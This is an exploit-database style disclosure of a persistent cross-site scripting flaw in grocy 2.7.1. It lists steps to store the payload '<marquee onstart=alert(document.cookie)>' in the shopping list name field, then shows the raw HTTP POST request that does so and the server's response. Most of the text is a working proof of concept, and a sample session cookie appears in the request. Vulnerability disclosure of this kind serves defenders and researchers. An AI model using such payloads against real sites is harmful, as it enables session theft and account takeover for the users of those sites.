grocy 2.7.1 - Persistent Cross-Site Scripting

# Exploit Title: grocy 2.7.1 - Persistent Cross-Site Scripting
# Date: 2020-09-06
# Exploit Author: Mufaddal Masalawala
# Vendor Homepage: https://berrnd.de/
# Software Link: https://github.com/grocy/grocy
# Version: 2.7.1
# Tested on: Kali Linux 2020.3

# Proof Of Concept:

grocy household management solution v2.7.1, allows stored XSS and HTML
Injection, via Create Shopping List module, that is rendered upon
deletiing that Shopping List.
To exploit this vulnerability:
1. Login to the application
2. Go to 'Shooping List' module
3. Click on 'New Shopping List' module
4. Enter the payload: <marquee onstart=alert(document.cookie)> in 'Name'
input field.
5. Click Save
6. Click 'Delete Shopping List'

*#REQUEST -->*
POST /api/objects/shopping_lists HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/shoppinglist/new
Content-type: application/json
Content-Length: 38
Connection: close
Cookie: grocy_session=GhIjKZyST7Qkx18Q97u9MaPM1LsMtBmcJ6I59gxTO3Ks4WJXUd
{"name":"<marquee onstart=alert(1)> "}
*#RESPONSE -->*
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Sun, 06 Sep 2020 12:53:13 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.3.21
Content-Length: 26

{"created_object_id":"21"}


Regards,
Mufaddal M